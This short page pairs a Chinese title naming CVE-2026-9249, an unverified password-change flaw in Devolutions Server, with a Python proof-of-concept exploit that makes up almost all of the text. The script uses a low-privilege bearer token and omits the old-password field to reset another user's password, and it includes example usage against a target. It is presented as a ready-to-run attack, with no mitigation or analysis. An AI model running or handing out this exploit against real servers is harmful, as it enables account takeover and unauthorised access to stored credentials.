CVE-2026-9249 Devolutions Server未验证密码更改漏洞

import requests import json # CVE-2026-9249 PoC - Unverified Password Change in Devolutions Server # Target: Devolutions Server < 2026.1.16.0 or < 2025.3.21.0 def exploit_password_change(target_url, session_token, target_user_id, new_password): """ Exploit unverified password change vulnerability Args: target_url: Base URL of Devolutions Server session_token: Valid authentication token (low privilege sufficient) target_user_id: ID of the user whose password to change new_password: New password to set Returns: Response from the server """ endpoint = f"{target_url}/api/v1/users/{target_user_id}/password" headers = { 'Authorization': f'Bearer {session_token}', 'Content-Type': 'application/json' } # Crafted request without old password verification payload = { 'newPassword': new_password, # Missing 'oldPassword' field - vulnerability exploitation } response = requests.post(endpoint, headers=headers, json=payload) return response # Example usage if __name__ == "__main__": target = "https://vulnerable-server.local" token = "attacker_low_privilege_token" target_uid = 12345 new_pwd = "P@ssw0rd123!" result = exploit_password_change(target, token, target_uid, new_pwd) print(f"Status: {result.status_code}") print(f"Response: {result.text}")